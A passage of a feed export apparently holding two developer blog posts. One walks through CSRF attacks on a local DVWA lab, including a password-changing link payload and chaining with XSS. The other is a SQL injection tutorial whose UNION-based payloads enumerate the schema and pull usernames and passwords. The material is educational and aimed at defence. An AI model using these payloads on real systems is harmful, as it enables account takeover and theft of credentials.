&lt;p&gt;First, because it's a relatively easy and common way for a low-skilled attacker to exploit the application's users. An example of a malicious action can be changing a user's email address or password, effectively overtaking an account. While the business risks differ it's pretty obvious why would any developer want to avoid the risk, especially knowing the simple steps to mitigation.&lt;br&gt;
&lt;br&gt;&lt;br&gt;&lt;/p&gt;


&lt;h1&gt;
  
  
  Mitigations
&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;Token-based - One of the common ways and definitely the most robust one is the use of a token. Upon user request, the application generates a unique token that's added to the form as a hidden field. When the user sends the form back, the server is validating its authenticity by comparing the token to the one he had generated earlier.&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;"The server generates a token comprised of the user's session ID and timestamp (to prevent replay attacks) using a unique key available only on the server. This token is returned to the client and embedded in a hidden field for forms, in the request-header/parameter for AJAX requests. On receipt of this request, the server reads and decrypts the token value with the same key used to create the token."&lt;br&gt;
&lt;br&gt;&lt;br&gt;&lt;br&gt;
- &lt;a href="https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html#encryption-based-token-pattern"&gt;OWASP, CSRF Prevention, Encryption based&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;CSRF tokens should not be transmitted using cookies. If they would, the exploit will still be valid as it assumes the cookie through the victim, essentially using the generated token too.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Origin Validation - Using &lt;code&gt;Origin&lt;/code&gt; or &lt;code&gt;Referer&lt;/code&gt; headers, the application can validate the source of a request. This is not considered a high standard of protection as it is still exposed to &lt;a href="https://portswigger.net/web-security/cross-site-scripting/stored"&gt;stored XSS&lt;/a&gt; vulnerabilities. If a user manager to inject a malicious script in a vulnerable location on the application, the script will bypass the protection since it'll be triggered from &lt;strong&gt;within&lt;/strong&gt; the domain name.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Prevent cross-site-scripting (&lt;a href="https://en.wikipedia.org/wiki/Cross-site_scripting"&gt;XSS&lt;/a&gt;) - This is a topic of an entire post on its own but I'll keep it short. Use a protection library if possible, and read through the &lt;a href="https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"&gt;OWASP XSS prevention cheat sheet&lt;/a&gt;. Search and block all kind of scripting to fields, treat them all as texts, or escape as much as possible. Rule of thumb: escaping will never cover ass possibilities if possible avoid.&lt;br&gt;
&lt;br&gt;&lt;br&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So, let's get back to earth. There's no need to invent the wheel. Most of the well-known web frameworks and CMS products out there have already done the work for you, or there's a community solution. Here's a partial list you can use to implement CSRF protection:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tech&lt;/th&gt;
&lt;th&gt;Framework&lt;/th&gt;
&lt;th&gt;Comments&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Python&lt;/td&gt;
&lt;td&gt;
&lt;a href="https://docs.djangoproject.com/en/3.0/ref/csrf/"&gt;Django&lt;/a&gt;, &lt;a href="https://flask-wtf.readthedocs.io/en/stable/csrf.html"&gt;Flask&lt;/a&gt;
&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Ruby&lt;/td&gt;
&lt;td&gt;
&lt;a href="https://guides.rubyonrails.org/security.html"&gt;Rails&lt;/a&gt;, &lt;a href="https://github.com/baldowl/rack_csrf"&gt;Middleware&lt;/a&gt;
&lt;/td&gt;
&lt;td&gt;The middleware is a standalone gem&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Javascript / Typescript&lt;/td&gt;
&lt;td&gt;
&lt;a href="https://docs.nestjs.com/techniques/security#csrf"&gt;Nest&lt;/a&gt;, &lt;a href="https://github.com/expressjs/csurf"&gt;Express&lt;/a&gt;, &lt;a href="https://github.com/helmetjs/helmet"&gt;Helmet&lt;/a&gt;
&lt;/td&gt;
&lt;td&gt;Helmet is a standalone library&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Golang&lt;/td&gt;
&lt;td&gt;&lt;a href="https://gobuffalo.io/en/docs/forms"&gt;Buffalo&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Buffalo &lt;code&gt;form&lt;/code&gt; is implementing tokens by default&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;


&lt;h1&gt;
  
  
  Let's get technical
&lt;/h1&gt;

&lt;p&gt;For the getting-my-hands-dirty part I'm going to use &lt;a href="http://dvwa.co.uk/"&gt;DVWA&lt;/a&gt;. If you want to follow this section it's important to setup DVWA on your local machine (instructions below) and follow closely each step both in the post and in DVWA. Here's how to set it up:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker run &lt;span class="nt"&gt;--rm&lt;/span&gt; &lt;span class="nt"&gt;-it&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 8080:80 vulnerables/web-dvwa

&lt;span class="c"&gt;# The login screen would be @ http://localhost:8080&lt;/span&gt;
&lt;span class="c"&gt;#&lt;/span&gt;
&lt;span class="c"&gt;# While the login can be brute-forced, let's keep things simple for now:&lt;/span&gt;
&lt;span class="c"&gt;# 1. Login - User: "admin", Password: "password"&lt;/span&gt;
&lt;span class="c"&gt;# 2. Click "Create / Reset Database"&lt;/span&gt;
&lt;span class="c"&gt;# 3. You're all set. Login again.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When in DVWA interface, select the CSRF module. The instructions below demonstrate all security levels offered by DVWA. In order to change security levels select &lt;code&gt;DVWA Security&lt;/code&gt; from the left-hand-side menu, select the preferred level, and hit &lt;code&gt;Submit&lt;/code&gt;.&lt;br&gt;
&lt;br&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Security level: Low
&lt;/h2&gt;

&lt;p&gt;We're presented with a password and confirmation text box. Providing value and clicking the button fires a request to the server. We can use a proxy or the browser's dev tools to view the password change request:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;GET /vulnerabilities/csrf/
  ?password_new=pass
  &amp;amp;password_conf=pass
  &amp;amp;Change=Change HTTP/1.1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The application seems to send the password and its verification as URI params. Since there is no &lt;code&gt;Access-Control-Allow-Origin&lt;/code&gt; header set, and &lt;code&gt;GET&lt;/code&gt; requests do not require any additional preflight requests of verification &lt;a href="https://developer.mozilla.org/en-US/docs/Glossary/Preflight_request"&gt;like POST&lt;/a&gt;, we're good to go. In order to exploit it, a simple social engineering is required. The attacker can build a simple HTML page with a link that leads to the GET request. The idea is, that the target is authenticated to the application with their cookies set. If that's the case, the request will go through, authenticating with the backend automatically since the cookies are already there. Here's an example for the page that can be embedded into an email message:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;html&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"http://192.168.0.10:8000/vulnerabilities/csrf/
            ?password_new=hacked
            &amp;amp;password_conf=hacked
            &amp;amp;Change=Change"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    View my Pictures!
  &lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  &lt;br&gt;&lt;br&gt;
&lt;/h2&gt;

&lt;h2&gt;
  
  
  Security level: Medium
&lt;/h2&gt;

&lt;p&gt;The hint by DVWA says:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"The developer believes if it matches the current domain, it must have come from the web application so it can be trusted."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Which means, the request needs to come from the same domain. But if there's a user-interactive system running under the same domain, where a user can &lt;code&gt;POST&lt;/code&gt; input and see it, is it really safe?&lt;/p&gt;

&lt;p&gt;Here comes in the &lt;a href="https://owasp.org/www-community/attacks/xss/"&gt;XSS&lt;/a&gt; exploit: only allowing traffic from your own domain is not a bulletproof solution. If you have some kind of system that users interact with, say, a forum, they can post stuff for others to see. If they’re able to exploit it and inject a script (XSS) and others view it, the attacker will be able to bypass the protection of the same-domain setting and still launch the CSRF attack on others.&lt;/p&gt;

&lt;p&gt;Trying to use a form here won't do any good since the application blocks any incoming request from an external domain and shoots out:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;That request didn't look correct.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In order to make the request originate from the domain, we need to use some kind of script injection to the application pages. As an example: a script / html component that will be loaded and run by the app.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;a href="https://portswigger.net/web-security/cross-site-scripting/reflected"&gt;rXSS&lt;/a&gt; to the rescue!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Utilizing a reflected XSS bug in the web app allows bypassing the origin verification. With &lt;code&gt;XSS (Reflected)&lt;/code&gt; on the menu of DVWA, any name inserted is presented on the screen to the user. HTML tags are not escaped so we can utilize the exact same line from the low-security level:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"http://192.168.0.10:8000/vulnerabilities/csrf/
        ?password_new=hacked
        &amp;amp;password_conf=hacked
        &amp;amp;Change=Change"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  View my Pictures!
&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When served, it generates a clickable link. The link can then talk to the application from its own origin, using the cookies that are already stored since the user is already authenticated.&lt;/p&gt;

&lt;p&gt;In order to serve the HTML we can set up a private local web server, or as a malicious attacker would do it, send it as an email. With a little help from social engineering, the victim can be lured into opening the mail and hitting the form in it.&lt;/p&gt;

&lt;p&gt;In order to test, we can create the HTML file and run it on a local browser providing our input in the form, where we get:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Password Changed.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  &lt;br&gt;
&lt;/h2&gt;

&lt;h2&gt;
  
  
  Security level: High
&lt;/h2&gt;

&lt;p&gt;If we use the same form used in the "Medium level" section above, we end up with the next:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CSRF token is incorrect
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;p&gt;What is a CSRF token anyway?&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;A CSRF token is a unique, secret, unpredictable value that is generated by the server-side application and transmitted to the client in such a way that it is included in a subsequent HTTP request made by the client. When the later request is made, the server-side application validates that the request includes the expected token and rejects the request if the token is missing or invalid.&lt;br&gt;CSRF tokens can prevent CSRF attacks by making it impossible for an attacker to construct a fully valid HTTP request suitable for feeding to a victim user. Since the attacker cannot determine or predict the value of a user's CSRF token, they cannot construct a request with all the parameters that are necessary for the application to honor the request.&lt;br&gt;
&lt;br&gt;&lt;br&gt;
- &lt;a href="https://portswigger.net/web-security/csrf/tokens"&gt;Portswigger&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So the application is protected by a CSRF dynamic token. How can one exploit it anyway?&lt;/p&gt;

&lt;p&gt;Using a similar method from the medium level, we now utilize a &lt;a href="https://owasp.org/www-community/attacks/DOM_Based_XSS"&gt;DOM XSS&lt;/a&gt;, using the &lt;code&gt;XSS (DOM)&lt;/code&gt; option from the menu. What this means, is that we can run a javascript that's accessible to the browser's &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model/Introduction"&gt;DOM&lt;/a&gt;. Access to the DOM allows us to programmatically fetch the CSRF token, effectively making it useless.&lt;/p&gt;

&lt;p&gt;While I'm not going to go through the process of creating a DOM XSS on DVWA, &lt;a href="https://www.youtube.com/watch?v=8k9sPF143os"&gt;here's a video&lt;/a&gt; that shows the entire exploit. I do think it's important to understand the risk of being exploited with scripts that can access the DOM, and keep these in the back of your mind when developing the frontend of your application.&lt;/p&gt;

&lt;p&gt;Once the CSRF token is in our possession we can go ahead and use the same form to exploit our victim. The key takeaway from this level is the understanding of how additional seemingly low-risk vulnerabilities, can be chained together into a much-higher-risk attack.&lt;/p&gt;




&lt;h2&gt;
  
  
  General tips for preventing XSS and CSRF and safer coding
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;NEVER&lt;/span&gt; &lt;span class="nx"&gt;PUT&lt;/span&gt; &lt;span class="nx"&gt;UNTRUSTED&lt;/span&gt; &lt;span class="nx"&gt;DATA&lt;/span&gt; &lt;span class="nx"&gt;HERE&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;

&lt;span class="c"&gt;&amp;lt;!--...NEVER PUT UNTRUSTED DATA HERE...--&amp;gt;&lt;/span&gt;

&lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="err"&gt;...&lt;/span&gt;&lt;span class="na"&gt;NEVER&lt;/span&gt; &lt;span class="na"&gt;PUT&lt;/span&gt; &lt;span class="na"&gt;UNTRUSTED&lt;/span&gt; &lt;span class="na"&gt;DATA&lt;/span&gt; &lt;span class="na"&gt;HERE...=&lt;/span&gt;&lt;span class="s"&gt;test&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;

&lt;span class="nt"&gt;&amp;lt;NEVER&lt;/span&gt; &lt;span class="na"&gt;PUT&lt;/span&gt; &lt;span class="na"&gt;UNTRUSTED&lt;/span&gt; &lt;span class="na"&gt;DATA&lt;/span&gt; &lt;span class="na"&gt;HERE...&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"/test"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;

&lt;span class="nt"&gt;&amp;lt;style&amp;gt;&lt;/span&gt;
&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="nc"&gt;.NEVER&lt;/span&gt; &lt;span class="nt"&gt;PUT&lt;/span&gt; &lt;span class="nt"&gt;UNTRUSTED&lt;/span&gt; &lt;span class="nt"&gt;DATA&lt;/span&gt; &lt;span class="nt"&gt;HERE&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/style&amp;gt;&lt;/span&gt;

Never **ever** use GET requests to change data!
POST is the right method here. Not only it requires a structured request, 
it only utilized preflight requests hat help enforcing same-origin-policy and more.

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;If you got here, &lt;strong&gt;thank you&lt;/strong&gt; first of all for reading this far. I hope I've helped you understand the risk and maybe even how to exploit it (I know I helped myself). This post was part informational, part notes I've taken trying to dive into the subject. I hope that while it was somewhat a "notebook" structure, it was still valuable and readable. If you have any comments/ideas please do let me know.&lt;/p&gt;

</description>
      <category>security</category>
      <category>devops</category>
      <category>webdev</category>
    </item>
    <item>
      <title>SQL injection for developers</title>
      <dc:creator>Omer Hamerman</dc:creator>
      <pubDate>Tue, 05 May 2020 16:41:50 +0000</pubDate>
      <link>https://forem.com/prodopsio/sql-injection-for-developers-2pi</link>
      <guid>https://forem.com/prodopsio/sql-injection-for-developers-2pi</guid>
      <description>&lt;p&gt;&lt;em&gt;Originally published at &lt;a href="https://omerxx.com/sql-injection-intro"&gt;https://omerxx.com/sql-injection-intro&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  The basics of how to test and protect your application
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;SQL Injection (SQLi) accounted for more than 72% of all attacks when looking at all verticals during (2018-2019) period.&lt;/strong&gt;&lt;br&gt;
- &lt;a href="https://www.akamai.com/uk/en/resources/our-thinking/state-of-the-internet-report"&gt;State of the internet 2019&lt;/a&gt;, Akamai&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The quote above says it all. If there's one attack vector to get familiar with as a web developer it's an injection and this one in particular. On the &lt;a href="https://owasp.org/www-project-top-ten/"&gt;OWASP top 10&lt;/a&gt; list injections are ranked first with SQL staring high. The infamous &lt;strong&gt;SQLi&lt;/strong&gt; is very common, easy to automate and can create a lot of unrepairable damage.&lt;/p&gt;

&lt;p&gt;This post is a personal attempt at getting to the bottom of something I &lt;em&gt;needed&lt;/em&gt; to know. I repeatedly tried picking it up with gists and short videos but it didn't go "all the way down". Getting to &lt;strong&gt;know&lt;/strong&gt; SQL injection means sitting down, &lt;em&gt;reading the docs&lt;/em&gt; and getting your hands dirty with payloads. The syntax with small and various escaping, together with poking at old SQL brain cells took a bit of an effort. A part of this effort is getting this post written.&lt;/p&gt;

&lt;p&gt;Having that said, it's important to mention that SQL injection (from here on would be referred to as SQLi) is a simple concept with many flavors. How many? as many as SQL DB flavors out there, throw into a matrix of different webforms and developer mistakes.&lt;/p&gt;




&lt;h1&gt;
  
  
  What is it
&lt;/h1&gt;

&lt;p&gt;SQL Injection (or &lt;strong&gt;SQLi&lt;/strong&gt; in short) is a way of infiltrating a web application data without compromising the host itself. It allows the attacker to pull data from the database and in some cases source code and other sensitive information.&lt;/p&gt;

&lt;p&gt;Performing the attack requires a very simple "hacking tool": your browser, making it accessible and easy both to learn and perform.&lt;/p&gt;

&lt;p&gt;There are different kinds of SQLi vectors. The most common ones involve an HTTP request from the client's browser. So, where the developer intended for the user to provide a simple input e.g. &lt;code&gt;User ID&lt;/code&gt;, an attacker may try to &lt;em&gt;inject&lt;/em&gt; an SQL statement. Instead of providing &lt;code&gt;1&lt;/code&gt; for example, consider this input:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' UNION SELECT password FROM users UNION SELECT '&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the backend code was not thought of in the context of an injection, it may be exploitable to such a query. The result is an extraction of database information through a simple web form. If successful, the attacker doesn't need to gain access to the physical server. The data is extractable and available in a "legitimate" manner.&lt;/p&gt;




&lt;h1&gt;
  
  
  How to attack
&lt;/h1&gt;

&lt;p&gt;In order to set up a live example, I'm using the infamous &lt;a href="http://dvwa.co.uk"&gt;Damn Vulnerable Web Application&lt;/a&gt;. It's available in different forms but for the sake of demonstration and speed, let's pick the quickest one with Docker:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker run &lt;span class="nt"&gt;--rm&lt;/span&gt; &lt;span class="nt"&gt;-it&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 8080:80 vulnerables/web-dvwa

&lt;span class="c"&gt;# The login screen would be @ http://localhost:8080&lt;/span&gt;
&lt;span class="c"&gt;#&lt;/span&gt;
&lt;span class="c"&gt;# While the login can be brute-forced, let's keep things simple for now:&lt;/span&gt;
&lt;span class="c"&gt;# 1. Login - User: "admin", Password: "password"&lt;/span&gt;
&lt;span class="c"&gt;# 2. Click "Create / Reset Database"&lt;/span&gt;
&lt;span class="c"&gt;# 3. You're all set. Login again.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Poking for holes
&lt;/h3&gt;

&lt;p&gt;Select the "SQL Injection" module from the menu.&lt;br&gt;
Trying to play with possible inputs, we can see the requested parameter is a user ID, so, the first option can be &lt;code&gt;1&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1

# ID: 1
# First name: admin
# Surname: admin
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Seems like we're being responded with three fields: ID, First name and Surname.&lt;br&gt;
Let's try an escape by providing &lt;code&gt;'&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;'

# Output:
# You have an error in your SQL syntax; check the manual that
# corresponds to your MariaDB server version for the right
# syntax to use near ''''' at line 1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This response is valuable information here. When the application returns an error with the error message relayed from the backend, the attacker is getting live feedback to different attempts which can be used for adjustments.&lt;/p&gt;

&lt;p&gt;Sometimes, as a defense mechanism, applications return a generic error message without any informative message. Still, the attack can be executed and is called a "blind SQL injection". More on that further on.&lt;/p&gt;

&lt;p&gt;Back to our injection quest. After using &lt;code&gt;'&lt;/code&gt; the app returned a useful message mentioning an error near &lt;code&gt;'''''&lt;/code&gt;. Looks like the injection is valid and the response from the DB engine is visible. This means we can try different methods and get visible feedback.&lt;/p&gt;

&lt;p&gt;The SQL &lt;code&gt;UNION&lt;/code&gt; statement is a common helper. Using that, the attacker can unify additional information with the results and return them together. We'll try to run the next:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' UNION SELECT '&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;

&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="k"&gt;Output&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;The&lt;/span&gt; &lt;span class="n"&gt;used&lt;/span&gt; &lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;statements&lt;/span&gt; &lt;span class="n"&gt;have&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;different&lt;/span&gt; &lt;span class="n"&gt;number&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="n"&gt;columns&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;First, let's review the input:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;1'&lt;/code&gt; means "end the statement with 1 and close it with an apostrophe". Exactly for this reason; of being able to terminate a logical part of an SQL query, &lt;code&gt;'&lt;/code&gt; are dangerous when not escaped correctly.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;UNION SELECT '2&lt;/code&gt; is a &lt;code&gt;UNION&lt;/code&gt; statement that selects a number and opening another &lt;code&gt;'&lt;/code&gt; to pair with the one waiting at the end of the statement in the backend code.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now we know the &lt;code&gt;UNION&lt;/code&gt; may work with a few tweaks. When calling an SQL statement with &lt;code&gt;UNION&lt;/code&gt; the DB engine tries to unite the results to one set. In order to do that all parts must have the same column number so they can be unified.&lt;/p&gt;

&lt;p&gt;Let's expand the test and provide an additional column:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' UNION SELECT 1,'&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;

&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;ID&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' UNION SELECT 1,'&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="k"&gt;First&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;admin&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;Surname&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;admin&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;ID&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' UNION SELECT 1,'&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="k"&gt;First&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;Surname&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Boom!&lt;/strong&gt; The injection works. Still, this is not a real extracted data. We have to find our way around the schemas in order to have something meaningful, but this is definitely promising.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Step one is getting the DB name to query tables from:&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' union select 2, table_schema from information_schema.tables
   union select 3,'&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;This yields three sets with the databases name under "Surname": "admin", "dvwa", "information_schema".&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;We're interested in &lt;code&gt;dvwa&lt;/code&gt;, so we'll pick that and query its schema:&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' union select 2, table_name from information_schema.tables
    where table_schema = '&lt;/span&gt;&lt;span class="n"&gt;dvwa&lt;/span&gt;&lt;span class="s1"&gt;' union select 3,'&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;The query yields table names: "admin", "users", "guestbook"&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;"Users" table is a usual immediate suspect that holds interesting data like usernames, passwords and other Personal Identifiable Information (&lt;a href="https://en.wikipedia.org/wiki/Personal_data"&gt;PII&lt;/a&gt;). We'll query that (feel free to tinker with the requests and query all available information):&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' union select 2, column_name from information_schema.columns
    where table_name = '&lt;/span&gt;&lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="s1"&gt;' union select 3,'&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;We're responded with a list of column names. "user" and "password" seems like the interesting ones.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;We go on and make a direct query to the "users" table:&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' union select user, password from users
   union select 1,2'&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;ID&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' union select user, password from users union select 1,2'&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="k"&gt;First&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;admin&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;Surname&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;admin&lt;/span&gt;
